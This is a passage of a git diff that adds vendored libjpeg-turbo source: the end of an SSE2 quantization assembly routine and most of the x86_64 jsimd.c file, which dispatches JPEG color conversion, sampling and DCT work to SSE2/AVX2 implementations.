pxor xmm3, xmm7 + psubw xmm0, xmm4 ; if (xmm0 < 0) xmm0 = -xmm0; + psubw xmm1, xmm5 ; if (xmm1 < 0) xmm1 = -xmm1; + psubw xmm2, xmm6 ; if (xmm2 < 0) xmm2 = -xmm2; + psubw xmm3, xmm7 ; if (xmm3 < 0) xmm3 = -xmm3; + + paddw xmm0, XMMWORD [CORRECTION(0, 0, rdx)] + ; correction + roundfactor + paddw xmm1, XMMWORD [CORRECTION(1, 0, rdx)] + paddw xmm2, XMMWORD [CORRECTION(2, 0, rdx)] + paddw xmm3, XMMWORD [CORRECTION(3, 0, rdx)] + pmulhuw xmm0, XMMWORD [RECIPROCAL(0, 0, rdx)] ; reciprocal + pmulhuw xmm1, XMMWORD [RECIPROCAL(1, 0, rdx)] + pmulhuw xmm2, XMMWORD [RECIPROCAL(2, 0, rdx)] + pmulhuw xmm3, XMMWORD [RECIPROCAL(3, 0, rdx)] + pmulhuw xmm0, XMMWORD [SCALE(0, 0, rdx)] ; scale + pmulhuw xmm1, XMMWORD [SCALE(1, 0, rdx)] + pmulhuw xmm2, XMMWORD [SCALE(2, 0, rdx)] + pmulhuw xmm3, XMMWORD [SCALE(3, 0, rdx)] + + pxor xmm0, xmm4 + pxor xmm1, xmm5 + pxor xmm2, xmm6 + pxor xmm3, xmm7 + psubw xmm0, xmm4 + psubw xmm1, xmm5 + psubw xmm2, xmm6 + psubw xmm3, xmm7 + movdqa XMMWORD [XMMBLOCK(0, 0, rdi, SIZEOF_DCTELEM)], xmm0 + movdqa XMMWORD [XMMBLOCK(1, 0, rdi, SIZEOF_DCTELEM)], xmm1 + movdqa XMMWORD [XMMBLOCK(2, 0, rdi, SIZEOF_DCTELEM)], xmm2 + movdqa XMMWORD [XMMBLOCK(3, 0, rdi, SIZEOF_DCTELEM)], xmm3 + + add rsi, byte 32 * SIZEOF_DCTELEM + add rdx, byte 32 * SIZEOF_DCTELEM + add rdi, byte 32 * SIZEOF_JCOEF + dec rax + jnz near .quantloop + + UNCOLLECT_ARGS 3 + pop rbp + ret + +; For some reason, the OS X linker does not honor the request to align the +; segment unless we do this. + align 32 diff --git a/lib/libjpeg-turbo/simd/x86_64/jsimd.c b/lib/libjpeg-turbo/simd/x86_64/jsimd.c new file mode 100755 index 0000000..4fcb8d4 --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jsimd.c @@ -0,0 +1,1108 @@ +/* + * Copyright 2009 Pierre Ossman for Cendio AB + * Copyright (C) 2009-2011, 2014, 2016, 2018, 2022-2025, D. R. Commander. + * Copyright (C) 2015-2016, 2018, 2022, Matthieu Darbois. + * + * Based on the x86 SIMD extension for IJG JPEG library, + * Copyright (C) 1999-2006, MIYASAKA Masaru. + * For conditions of distribution and use, see copyright notice in jsimdext.inc + * + * This file contains the interface between the "normal" portions + * of the library and the SIMD implementations when running on a + * 64-bit x86 architecture. + */ + +#define JPEG_INTERNALS +#include "../../src/jinclude.h" +#include "../../src/jpeglib.h" +#include "../../src/jsimd.h" +#include "../../src/jdct.h" +#include "../../src/jsimddct.h" +#include "../jsimd.h" + +/* + * In the PIC cases, we have no guarantee that constants will keep + * their alignment. This macro allows us to verify it at runtime. + */ +#define IS_ALIGNED(ptr, order) (((size_t)ptr & ((1 << order) - 1)) == 0) + +#define IS_ALIGNED_SSE(ptr) (IS_ALIGNED(ptr, 4)) /* 16 byte alignment */ +#define IS_ALIGNED_AVX(ptr) (IS_ALIGNED(ptr, 5)) /* 32 byte alignment */ + +static THREAD_LOCAL unsigned int simd_support = (unsigned int)(~0); +static THREAD_LOCAL unsigned int simd_huffman = 1; + +/* + * Check what SIMD accelerations are supported. + */ +LOCAL(void) +init_simd(void) +{ +#ifndef NO_GETENV + char env[2] = { 0 }; +#endif + + if (simd_support != ~0U) + return; + + simd_support = jpeg_simd_cpu_support(); + +#ifndef NO_GETENV + /* Force different settings through environment variables */ + if (!GETENV_S(env, 2, "JSIMD_FORCESSE2") && !strcmp(env, "1")) + simd_support &= JSIMD_SSE2; + if (!GETENV_S(env, 2, "JSIMD_FORCEAVX2") && !strcmp(env, "1")) + simd_support &= JSIMD_AVX2; + if (!GETENV_S(env, 2, "JSIMD_FORCENONE") && !strcmp(env, "1")) + simd_support = 0; + if (!GETENV_S(env, 2, "JSIMD_NOHUFFENC") && !strcmp(env, "1")) + simd_huffman = 0; +#endif +} + +GLOBAL(int) +jsimd_can_rgb_ycc(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (BITS_IN_JSAMPLE != 8) + return 0; + if (sizeof(JDIMENSION) != 4) + return 0; + if ((RGB_PIXELSIZE != 3) && (RGB_PIXELSIZE != 4)) + return 0; + + if ((simd_support & JSIMD_AVX2) && + IS_ALIGNED_AVX(jconst_rgb_ycc_convert_avx2)) + return 1; + if ((simd_support & JSIMD_SSE2) && + IS_ALIGNED_SSE(jconst_rgb_ycc_convert_sse2)) + return 1; + + return 0; +} + +GLOBAL(int) +jsimd_can_rgb_gray(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (BITS_IN_JSAMPLE != 8) + return 0; + if (sizeof(JDIMENSION) != 4) + return 0; + if ((RGB_PIXELSIZE != 3) && (RGB_PIXELSIZE != 4)) + return 0; + + if ((simd_support & JSIMD_AVX2) && + IS_ALIGNED_AVX(jconst_rgb_gray_convert_avx2)) + return 1; + if ((simd_support & JSIMD_SSE2) && + IS_ALIGNED_SSE(jconst_rgb_gray_convert_sse2)) + return 1; + + return 0; +} + +GLOBAL(int) +jsimd_can_ycc_rgb(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (BITS_IN_JSAMPLE != 8) + return 0; + if (sizeof(JDIMENSION) != 4) + return 0; + if ((RGB_PIXELSIZE != 3) && (RGB_PIXELSIZE != 4)) + return 0; + + if ((simd_support & JSIMD_AVX2) && + IS_ALIGNED_AVX(jconst_ycc_rgb_convert_avx2)) + return 1; + if ((simd_support & JSIMD_SSE2) && + IS_ALIGNED_SSE(jconst_ycc_rgb_convert_sse2)) + return 1; + + return 0; +} + +GLOBAL(int) +jsimd_can_ycc_rgb565(void) +{ + return 0; +} + +GLOBAL(void) +jsimd_rgb_ycc_convert(j_compress_ptr cinfo, JSAMPARRAY input_buf, + JSAMPIMAGE output_buf, JDIMENSION output_row, + int num_rows) +{ + void (*avx2fct) (JDIMENSION, JSAMPARRAY, JSAMPIMAGE, JDIMENSION, int); + void (*sse2fct) (JDIMENSION, JSAMPARRAY, JSAMPIMAGE, JDIMENSION, int); + + if (simd_support == ~0U) + init_simd(); + + switch (cinfo->in_color_space) { + case JCS_EXT_RGB: + avx2fct = jsimd_extrgb_ycc_convert_avx2; + sse2fct = jsimd_extrgb_ycc_convert_sse2; + break; + case JCS_EXT_RGBX: + case JCS_EXT_RGBA: + avx2fct = jsimd_extrgbx_ycc_convert_avx2; + sse2fct = jsimd_extrgbx_ycc_convert_sse2; + break; + case JCS_EXT_BGR: + avx2fct = jsimd_extbgr_ycc_convert_avx2; + sse2fct = jsimd_extbgr_ycc_convert_sse2; + break; + case JCS_EXT_BGRX: + case JCS_EXT_BGRA: + avx2fct = jsimd_extbgrx_ycc_convert_avx2; + sse2fct = jsimd_extbgrx_ycc_convert_sse2; + break; + case JCS_EXT_XBGR: + case JCS_EXT_ABGR: + avx2fct = jsimd_extxbgr_ycc_convert_avx2; + sse2fct = jsimd_extxbgr_ycc_convert_sse2; + break; + case JCS_EXT_XRGB: + case JCS_EXT_ARGB: + avx2fct = jsimd_extxrgb_ycc_convert_avx2; + sse2fct = jsimd_extxrgb_ycc_convert_sse2; + break; + default: + avx2fct = jsimd_rgb_ycc_convert_avx2; + sse2fct = jsimd_rgb_ycc_convert_sse2; + break; + } + + if (simd_support & JSIMD_AVX2) + avx2fct(cinfo->image_width, input_buf, output_buf, output_row, num_rows); + else + sse2fct(cinfo->image_width, input_buf, output_buf, output_row, num_rows); +} + +GLOBAL(void) +jsimd_rgb_gray_convert(j_compress_ptr cinfo, JSAMPARRAY input_buf, + JSAMPIMAGE output_buf, JDIMENSION output_row, + int num_rows) +{ + void (*avx2fct) (JDIMENSION, JSAMPARRAY, JSAMPIMAGE, JDIMENSION, int); + void (*sse2fct) (JDIMENSION, JSAMPARRAY, JSAMPIMAGE, JDIMENSION, int); + + if (simd_support == ~0U) + init_simd(); + + switch (cinfo->in_color_space) { + case JCS_EXT_RGB: + avx2fct = jsimd_extrgb_gray_convert_avx2; + sse2fct = jsimd_extrgb_gray_convert_sse2; + break; + case JCS_EXT_RGBX: + case JCS_EXT_RGBA: + avx2fct = jsimd_extrgbx_gray_convert_avx2; + sse2fct = jsimd_extrgbx_gray_convert_sse2; + break; + case JCS_EXT_BGR: + avx2fct = jsimd_extbgr_gray_convert_avx2; + sse2fct = jsimd_extbgr_gray_convert_sse2; + break; + case JCS_EXT_BGRX: + case JCS_EXT_BGRA: + avx2fct = jsimd_extbgrx_gray_convert_avx2; + sse2fct = jsimd_extbgrx_gray_convert_sse2; + break; + case JCS_EXT_XBGR: + case JCS_EXT_ABGR: + avx2fct = jsimd_extxbgr_gray_convert_avx2; + sse2fct = jsimd_extxbgr_gray_convert_sse2; + break; + case JCS_EXT_XRGB: + case JCS_EXT_ARGB: + avx2fct = jsimd_extxrgb_gray_convert_avx2; + sse2fct = jsimd_extxrgb_gray_convert_sse2; + break; + default: + avx2fct = jsimd_rgb_gray_convert_avx2; + sse2fct = jsimd_rgb_gray_convert_sse2; + break; + } + + if (simd_support & JSIMD_AVX2) + avx2fct(cinfo->image_width, input_buf, output_buf, output_row, num_rows); + else + sse2fct(cinfo->image_width, input_buf, output_buf, output_row, num_rows); +} + +GLOBAL(void) +jsimd_ycc_rgb_convert(j_decompress_ptr cinfo, JSAMPIMAGE input_buf, + JDIMENSION input_row, JSAMPARRAY output_buf, + int num_rows) +{ + void (*avx2fct) (JDIMENSION, JSAMPIMAGE, JDIMENSION, JSAMPARRAY, int); + void (*sse2fct) (JDIMENSION, JSAMPIMAGE, JDIMENSION, JSAMPARRAY, int); + + if (simd_support == ~0U) + init_simd(); + + switch (cinfo->out_color_space) { + case JCS_EXT_RGB: + avx2fct = jsimd_ycc_extrgb_convert_avx2; + sse2fct = jsimd_ycc_extrgb_convert_sse2; + break; + case JCS_EXT_RGBX: + case JCS_EXT_RGBA: + avx2fct = jsimd_ycc_extrgbx_convert_avx2; + sse2fct = jsimd_ycc_extrgbx_convert_sse2; + break; + case JCS_EXT_BGR: + avx2fct = jsimd_ycc_extbgr_convert_avx2; + sse2fct = jsimd_ycc_extbgr_convert_sse2; + break; + case JCS_EXT_BGRX: + case JCS_EXT_BGRA: + avx2fct = jsimd_ycc_extbgrx_convert_avx2; + sse2fct = jsimd_ycc_extbgrx_convert_sse2; + break; + case JCS_EXT_XBGR: + case JCS_EXT_ABGR: + avx2fct = jsimd_ycc_extxbgr_convert_avx2; + sse2fct = jsimd_ycc_extxbgr_convert_sse2; + break; + case JCS_EXT_XRGB: + case JCS_EXT_ARGB: + avx2fct = jsimd_ycc_extxrgb_convert_avx2; + sse2fct = jsimd_ycc_extxrgb_convert_sse2; + break; + default: + avx2fct = jsimd_ycc_rgb_convert_avx2; + sse2fct = jsimd_ycc_rgb_convert_sse2; + break; + } + + if (simd_support & JSIMD_AVX2) + avx2fct(cinfo->output_width, input_buf, input_row, output_buf, num_rows); + else + sse2fct(cinfo->output_width, input_buf, input_row, output_buf, num_rows); +} + +GLOBAL(void) +jsimd_ycc_rgb565_convert(j_decompress_ptr cinfo, JSAMPIMAGE input_buf, + JDIMENSION input_row, JSAMPARRAY output_buf, + int num_rows) +{ +} + +GLOBAL(int) +jsimd_can_h2v2_downsample(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (BITS_IN_JSAMPLE != 8) + return 0; + if (sizeof(JDIMENSION) != 4) + return 0; + + if (simd_support & JSIMD_AVX2) + return 1; + if (simd_support & JSIMD_SSE2) + return 1; + + return 0; +} + +GLOBAL(int) +jsimd_can_h2v1_downsample(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (BITS_IN_JSAMPLE != 8) + return 0; + if (sizeof(JDIMENSION) != 4) + return 0; + + if (simd_support & JSIMD_AVX2) + return 1; + if (simd_support & JSIMD_SSE2) + return 1; + + return 0; +} + +GLOBAL(void) +jsimd_h2v2_downsample(j_compress_ptr cinfo, jpeg_component_info *compptr, + JSAMPARRAY input_data, JSAMPARRAY output_data) +{ + if (simd_support == ~0U) + init_simd(); + + if (simd_support & JSIMD_AVX2) + jsimd_h2v2_downsample_avx2(cinfo->image_width, cinfo->max_v_samp_factor, + compptr->v_samp_factor, + compptr->width_in_blocks, input_data, + output_data); + else + jsimd_h2v2_downsample_sse2(cinfo->image_width, cinfo->max_v_samp_factor, + compptr->v_samp_factor, + compptr->width_in_blocks, input_data, + output_data); +} + +GLOBAL(void) +jsimd_h2v1_downsample(j_compress_ptr cinfo, jpeg_component_info *compptr, + JSAMPARRAY input_data, JSAMPARRAY output_data) +{ + if (simd_support == ~0U) + init_simd(); + + if (simd_support & JSIMD_AVX2) + jsimd_h2v1_downsample_avx2(cinfo->image_width, cinfo->max_v_samp_factor, + compptr->v_samp_factor, + compptr->width_in_blocks, input_data, + output_data); + else + jsimd_h2v1_downsample_sse2(cinfo->image_width, cinfo->max_v_samp_factor, + compptr->v_samp_factor, + compptr->width_in_blocks, input_data, + output_data); +} + +GLOBAL(int) +jsimd_can_h2v2_upsample(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (BITS_IN_JSAMPLE != 8) + return 0; + if (sizeof(JDIMENSION) != 4) + return 0; + + if (simd_support & JSIMD_AVX2) + return 1; + if (simd_support & JSIMD_SSE2) + return 1; + + return 0; +} + +GLOBAL(int) +jsimd_can_h2v1_upsample(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (BITS_IN_JSAMPLE != 8) + return 0; + if (sizeof(JDIMENSION) != 4) + return 0; + + if (simd_support & JSIMD_AVX2) + return 1; + if (simd_support & JSIMD_SSE2) + return 1; + + return 0; +} + +GLOBAL(void) +jsimd_h2v2_upsample(j_decompress_ptr cinfo, jpeg_component_info *compptr, + JSAMPARRAY input_data, JSAMPARRAY *output_data_ptr) +{ + if (simd_support == ~0U) + init_simd(); + + if (simd_support & JSIMD_AVX2) + jsimd_h2v2_upsample_avx2(cinfo->max_v_samp_factor, cinfo->output_width, + input_data, output_data_ptr); + else + jsimd_h2v2_upsample_sse2(cinfo->max_v_samp_factor, cinfo->output_width, + input_data, output_data_ptr); +} + +GLOBAL(void) +jsimd_h2v1_upsample(j_decompress_ptr cinfo, jpeg_component_info *compptr, + JSAMPARRAY input_data, JSAMPARRAY *output_data_ptr) +{ + if (simd_support == ~0U) + init_simd(); + + if (simd_support & JSIMD_AVX2) + jsimd_h2v1_upsample_avx2(cinfo->max_v_samp_factor, cinfo->output_width, + input_data, output_data_ptr); + else + jsimd_h2v1_upsample_sse2(cinfo->max_v_samp_factor, cinfo->output_width, + input_data, output_data_ptr); +} + +GLOBAL(int) +jsimd_can_h2v2_fancy_upsample(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (BITS_IN_JSAMPLE != 8) + return 0; + if (sizeof(JDIMENSION) != 4) + return 0; + + if ((simd_support & JSIMD_AVX2) && + IS_ALIGNED_AVX(jconst_fancy_upsample_avx2)) + return 1; + if ((simd_support & JSIMD_SSE2) && + IS_ALIGNED_SSE(jconst_fancy_upsample_sse2)) + return 1; + + return 0; +} + +GLOBAL(int) +jsimd_can_h2v1_fancy_upsample(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (BITS_IN_JSAMPLE != 8) + return 0; + if (sizeof(JDIMENSION) != 4) + return 0; + + if ((simd_support & JSIMD_AVX2) && + IS_ALIGNED_AVX(jconst_fancy_upsample_avx2)) + return 1; + if ((simd_support & JSIMD_SSE2) && + IS_ALIGNED_SSE(jconst_fancy_upsample_sse2)) + return 1; + + return 0; +} + +GLOBAL(void) +jsimd_h2v2_fancy_upsample(j_decompress_ptr cinfo, jpeg_component_info *compptr, + JSAMPARRAY input_data, JSAMPARRAY *output_data_ptr) +{ + if (simd_support == ~0U) + init_simd(); + + if (simd_support & JSIMD_AVX2) + jsimd_h2v2_fancy_upsample_avx2(cinfo->max_v_samp_factor, + compptr->downsampled_width, input_data, + output_data_ptr); + else + jsimd_h2v2_fancy_upsample_sse2(cinfo->max_v_samp_factor, + compptr->downsampled_width, input_data, + output_data_ptr); +} + +GLOBAL(void) +jsimd_h2v1_fancy_upsample(j_decompress_ptr cinfo, jpeg_component_info *compptr, + JSAMPARRAY input_data, JSAMPARRAY *output_data_ptr) +{ + if (simd_support == ~0U) + init_simd(); + + if (simd_support & JSIMD_AVX2) + jsimd_h2v1_fancy_upsample_avx2(cinfo->max_v_samp_factor, + compptr->downsampled_width, input_data, + output_data_ptr); + else + jsimd_h2v1_fancy_upsample_sse2(cinfo->max_v_samp_factor, + compptr->downsampled_width, input_data, + output_data_ptr); +} + +GLOBAL(int) +jsimd_can_h2v2_merged_upsample(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (BITS_IN_JSAMPLE != 8) + return 0; + if (sizeof(JDIMENSION) != 4) + return 0; + + if ((simd_support & JSIMD_AVX2) && + IS_ALIGNED_AVX(jconst_merged_upsample_avx2)) + return 1; + if ((simd_support & JSIMD_SSE2) && + IS_ALIGNED_SSE(jconst_merged_upsample_sse2)) + return 1; + + return 0; +} + +GLOBAL(int) +jsimd_can_h2v1_merged_upsample(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (BITS_IN_JSAMPLE != 8) + return 0; + if (sizeof(JDIMENSION) != 4) + return 0; + + if ((simd_support & JSIMD_AVX2) && + IS_ALIGNED_AVX(jconst_merged_upsample_avx2)) + return 1; + if ((simd_support & JSIMD_SSE2) && + IS_ALIGNED_SSE(jconst_merged_upsample_sse2)) + return 1; + + return 0; +} + +GLOBAL(void) +jsimd_h2v2_merged_upsample(j_decompress_ptr cinfo, JSAMPIMAGE input_buf, + JDIMENSION in_row_group_ctr, JSAMPARRAY output_buf) +{ + void (*avx2fct) (JDIMENSION, JSAMPIMAGE, JDIMENSION, JSAMPARRAY); + void (*sse2fct) (JDIMENSION, JSAMPIMAGE, JDIMENSION, JSAMPARRAY); + + if (simd_support == ~0U) + init_simd(); + + switch (cinfo->out_color_space) { + case JCS_EXT_RGB: + avx2fct = jsimd_h2v2_extrgb_merged_upsample_avx2; + sse2fct = jsimd_h2v2_extrgb_merged_upsample_sse2; + break; + case JCS_EXT_RGBX: + case JCS_EXT_RGBA: + avx2fct = jsimd_h2v2_extrgbx_merged_upsample_avx2; + sse2fct = jsimd_h2v2_extrgbx_merged_upsample_sse2; + break; + case JCS_EXT_BGR: + avx2fct = jsimd_h2v2_extbgr_merged_upsample_avx2; + sse2fct = jsimd_h2v2_extbgr_merged_upsample_sse2; + break; + case JCS_EXT_BGRX: + case JCS_EXT_BGRA: + avx2fct = jsimd_h2v2_extbgrx_merged_upsample_avx2; + sse2fct = jsimd_h2v2_extbgrx_merged_upsample_sse2; + break; + case JCS_EXT_XBGR: + case JCS_EXT_ABGR: + avx2fct = jsimd_h2v2_extxbgr_merged_upsample_avx2; + sse2fct = jsimd_h2v2_extxbgr_merged_upsample_sse2; + break; + case JCS_EXT_XRGB: + case JCS_EXT_ARGB: + avx2fct = jsimd_h2v2_extxrgb_merged_upsample_avx2; + sse2fct = jsimd_h2v2_extxrgb_merged_upsample_sse2; + break; + default: + avx2fct = jsimd_h2v2_merged_upsample_avx2; + sse2fct = jsimd_h2v2_merged_upsample_sse2; + break; + } + + if (simd_support & JSIMD_AVX2) + avx2fct(cinfo->output_width, input_buf, in_row_group_ctr, output_buf); + else + sse2fct(cinfo->output_width, input_buf, in_row_group_ctr, output_buf); +} + +GLOBAL(void) +jsimd_h2v1_merged_upsample(j_decompress_ptr cinfo, JSAMPIMAGE input_buf, + JDIMENSION in_row_group_ctr, JSAMPARRAY output_buf) +{ + void (*avx2fct) (JDIMENSION, JSAMPIMAGE, JDIMENSION, JSAMPARRAY); + void (*sse2fct) (JDIMENSION, JSAMPIMAGE, JDIMENSION, JSAMPARRAY); + + if (simd_support == ~0U) + init_simd(); + + switch (cinfo->out_color_space) { + case JCS_EXT_RGB: + avx2fct = jsimd_h2v1_extrgb_merged_upsample_avx2; + sse2fct = jsimd_h2v1_extrgb_merged_upsample_sse2; + break; + case JCS_EXT_RGBX: + case JCS_EXT_RGBA: + avx2fct = jsimd_h2v1_extrgbx_merged_upsample_avx2; + sse2fct = jsimd_h2v1_extrgbx_merged_upsample_sse2; + break; + case JCS_EXT_BGR: + avx2fct = jsimd_h2v1_extbgr_merged_upsample_avx2; + sse2fct = jsimd_h2v1_extbgr_merged_upsample_sse2; + break; + case JCS_EXT_BGRX: + case JCS_EXT_BGRA: + avx2fct = jsimd_h2v1_extbgrx_merged_upsample_avx2; + sse2fct = jsimd_h2v1_extbgrx_merged_upsample_sse2; + break; + case JCS_EXT_XBGR: + case JCS_EXT_ABGR: + avx2fct = jsimd_h2v1_extxbgr_merged_upsample_avx2; + sse2fct = jsimd_h2v1_extxbgr_merged_upsample_sse2; + break; + case JCS_EXT_XRGB: + case JCS_EXT_ARGB: + avx2fct = jsimd_h2v1_extxrgb_merged_upsample_avx2; + sse2fct = jsimd_h2v1_extxrgb_merged_upsample_sse2; + break; + default: + avx2fct = jsimd_h2v1_merged_upsample_avx2; + sse2fct = jsimd_h2v1_merged_upsample_sse2; + break; + } + + if (simd_support & JSIMD_AVX2) + avx2fct(cinfo->output_width, input_buf, in_row_group_ctr, output_buf); + else + sse2fct(cinfo->output_width, input_buf, in_row_group_ctr, output_buf); +} + +GLOBAL(int) +jsimd_can_convsamp(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (DCTSIZE != 8) + return 0; + if (BITS_IN_JSAMPLE != 8) + return 0; + if (sizeof(JDIMENSION) != 4) + return 0; + if (sizeof(DCTELEM) != 2) + return 0; + + if (simd_support & JSIMD_AVX2) + return 1; + if (simd_support & JSIMD_SSE2) + return 1; + + return 0; +} + +GLOBAL(int) +jsimd_can_convsamp_float(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (DCTSIZE != 8) + return 0; + if (BITS_IN_JSAMPLE != 8) + return 0; + if (sizeof(JDIMENSION) != 4) + return 0; + if (sizeof(FAST_FLOAT) != 4) + return 0; + + if (simd_support & JSIMD_SSE2) + return 1; + + return 0; +} + +GLOBAL(void) +jsimd_convsamp(JSAMPARRAY sample_data, JDIMENSION start_col, + DCTELEM *workspace) +{ + if (simd_support == ~0U) + init_simd(); + + if (simd_support & JSIMD_AVX2) + jsimd_convsamp_avx2(sample_data, start_col, workspace); + else + jsimd_convsamp_sse2(sample_data, start_col, workspace); +} + +GLOBAL(void) +jsimd_convsamp_float(JSAMPARRAY sample_data, JDIMENSION start_col, + FAST_FLOAT *workspace) +{ + jsimd_convsamp_float_sse2(sample_data, start_col, workspace); +} + +GLOBAL(int) +jsimd_can_fdct_islow(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (DCTSIZE != 8) + return 0; + if (sizeof(DCTELEM) != 2) + return 0; + + if ((simd_support & JSIMD_AVX2) && IS_ALIGNED_AVX(jconst_fdct_islow_avx2)) + return 1; + if ((simd_support & JSIMD_SSE2) && IS_ALIGNED_SSE(jconst_fdct_islow_sse2)) + return 1; + + return 0; +} + +GLOBAL(int) +jsimd_can_fdct_ifast(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (DCTSIZE != 8) + return 0; + if (sizeof(DCTELEM) != 2) + return 0; + + if ((simd_support & JSIMD_SSE2) && IS_ALIGNED_SSE(jconst_fdct_ifast_sse2)) + return 1; + + return 0; +} + +GLOBAL(int) +jsimd_can_fdct_float(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (DCTSIZE != 8) + return 0; + if (sizeof(FAST_FLOAT) != 4) + return 0; + + if ((simd_support & JSIMD_SSE) && IS_ALIGNED_SSE(jconst_fdct_float_sse)) + return 1; + + return 0; +} + +GLOBAL(void) +jsimd_fdct_islow(DCTELEM *data) +{ + if (simd_support == ~0U) + init_simd(); + + if (simd_support & JSIMD_AVX2) + jsimd_fdct_islow_avx2(data); + else + jsimd_fdct_islow_sse2(data); +} + +GLOBAL(void) +jsimd_fdct_ifast(DCTELEM *data) +{ + jsimd_fdct_ifast_sse2(data); +} + +GLOBAL(void) +jsimd_fdct_float(FAST_FLOAT *data) +{ + jsimd_fdct_float_sse(data); +} + +GLOBAL(int) +jsimd_can_quantize(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (DCTSIZE != 8) + return 0; + if (sizeof(JCOEF) != 2) + return 0; + if (sizeof(DCTELEM) != 2) + return 0; + + if (simd_support & JSIMD_AVX2) + return 1; + if (simd_support & JSIMD_SSE2) + return 1; + + return 0; +} + +GLOBAL(int) +jsimd_can_quantize_float(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (DCTSIZE != 8) + return 0; + if (sizeof(JCOEF) != 2) + return 0; + if (sizeof(FAST_FLOAT) != 4) + return 0; + + if (simd_support & JSIMD_SSE2) + return 1; + + return 0; +} + +GLOBAL(void) +jsimd_quantize(JCOEFPTR coef_block, DCTELEM *divisors, DCTELEM *workspace) +{ + if (simd_support == ~0U) + init_simd(); + + if (simd_support & JSIMD_AVX2) + jsimd_quantize_avx2(coef_block, divisors, workspace); + else + jsimd_quantize_sse2(coef_block, divisors, workspace); +} + +GLOBAL(void) +jsimd_quantize_float(JCOEFPTR coef_block, FAST_FLOAT *divisors, + FAST_FLOAT *workspace) +{ + jsimd_quantize_float_sse2(coef_block, divisors, workspace); +} + +GLOBAL(int) +jsimd_can_idct_2x2(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (DCTSIZE != 8) + return 0; + if (sizeof(JCOEF) != 2) + return 0; + if (BITS_IN_JSAMPLE != 8) + return 0; + if (sizeof(JDIMENSION) != 4) + return 0; + if (sizeof(ISLOW_MULT_TYPE) != 2) + return 0; + + if ((simd_support & JSIMD_SSE2) && IS_ALIGNED_SSE(jconst_idct_red_sse2)) + return 1; + + return 0; +} + +GLOBAL(int) +jsimd_can_idct_4x4(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (DCTSIZE != 8) + return 0; + if (sizeof(JCOEF) != 2) + return 0; + if (BITS_IN_JSAMPLE != 8) + return 0; + if (sizeof(JDIMENSION) != 4) + return 0; + if (sizeof(ISLOW_MULT_TYPE) != 2) + return 0; + + if ((simd_support & JSIMD_SSE2) && IS_ALIGNED_SSE(jconst_idct_red_sse2)) + return 1; + + return 0; +} + +GLOBAL(void) +jsimd_idct_2x2(j_decompress_ptr cinfo, jpeg_component_info *compptr, + JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col) +{ + jsimd_idct_2x2_sse2(compptr->dct_table, coef_block, output_buf, output_col); +} + +GLOBAL(void) +jsimd_idct_4x4(j_decompress_ptr cinfo, jpeg_component_info *compptr, + JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col) +{ + jsimd_idct_4x4_sse2(compptr->dct_table, coef_block, output_buf, output_col); +} + +GLOBAL(int) +jsimd_can_idct_islow(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (DCTSIZE != 8) + return 0; + if (sizeof(JCOEF) != 2) + return 0; + if (BITS_IN_JSAMPLE != 8) + return 0; + if (sizeof(JDIMENSION) != 4) + return 0; + if (sizeof(ISLOW_MULT_TYPE) != 2) + return 0; + + if ((simd_support & JSIMD_AVX2) && IS_ALIGNED_AVX(jconst_idct_islow_avx2)) + return 1; + if ((simd_support & JSIMD_SSE2) && IS_ALIGNED_SSE(jconst_idct_islow_sse2)) + return 1; + + return 0; +} + +GLOBAL(int) +jsimd_can_idct_ifast(void) +{ + init_simd(); + + /* The code is optimised for these values only */ + if (DCTSIZE != 8) + return 0; + if (sizeof(JCOEF) != 2) + return 0; + if (BITS_IN_JSAMPLE != 8) + return 0; + if (sizeof(JDIMENSION) != 4) + return 0; + if (sizeof(IFAST_MULT_TYPE) != 2) + return 0; + if (IFAST_SCALE_BITS != 2) + return 0; + + if ((simd_support & JSIMD_SSE2) && IS_ALIGNED_SSE(jconst_idct_ifast_sse2)) + return 1; + + return 0; +} + +GLOBAL(int) +jsimd_can_idct_float(void) +{ + init_simd(); + + if (DCTSIZE != 8) + return 0; + if (sizeof(JCOEF) != 2) + return 0; + if (BITS_IN_JSAMPLE != 8) + return 0; + if (sizeof(JDIMENSION) != 4) + return 0; + if (sizeof(FAST_FLOAT) != 4) + return 0; + if (sizeof(FLOAT_MULT_TYPE) != 4) + return 0; + + if ((simd_support & JSIMD_SSE2) && IS_ALIGNED_SSE(jconst_idct_float_sse2)) + return 1; + + return 0; +} + +GLOBAL(void) +jsimd_idct_islow(j_decompress_ptr cinfo, jpeg_component_info *compptr, + JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col) +{ + if (simd_support == ~0U) + init_simd(); + + if (simd_support & JSIMD_AVX2) + jsimd_idct_islow_avx2(compptr->dct_table, coef_block, output_buf, + output_col); + else + jsimd_idct_islow_sse2(compptr->dct_table, coef_block, output_buf, + output_col); +} + +GLOBAL(void) +jsimd_idct_ifast(j_decompress_ptr cinfo, jpeg_component_info *compptr, + JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col) +{ + jsimd_idct_ifast_sse2(compptr->dct_table, coef_block, output_buf, + output_col); +} + +GLOBAL(void) +jsimd_idct_float(j_decompress_ptr cinfo, jpeg_component_info *compptr, + JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col) +{ + jsimd_idct_float_sse2(compptr->dct_table, 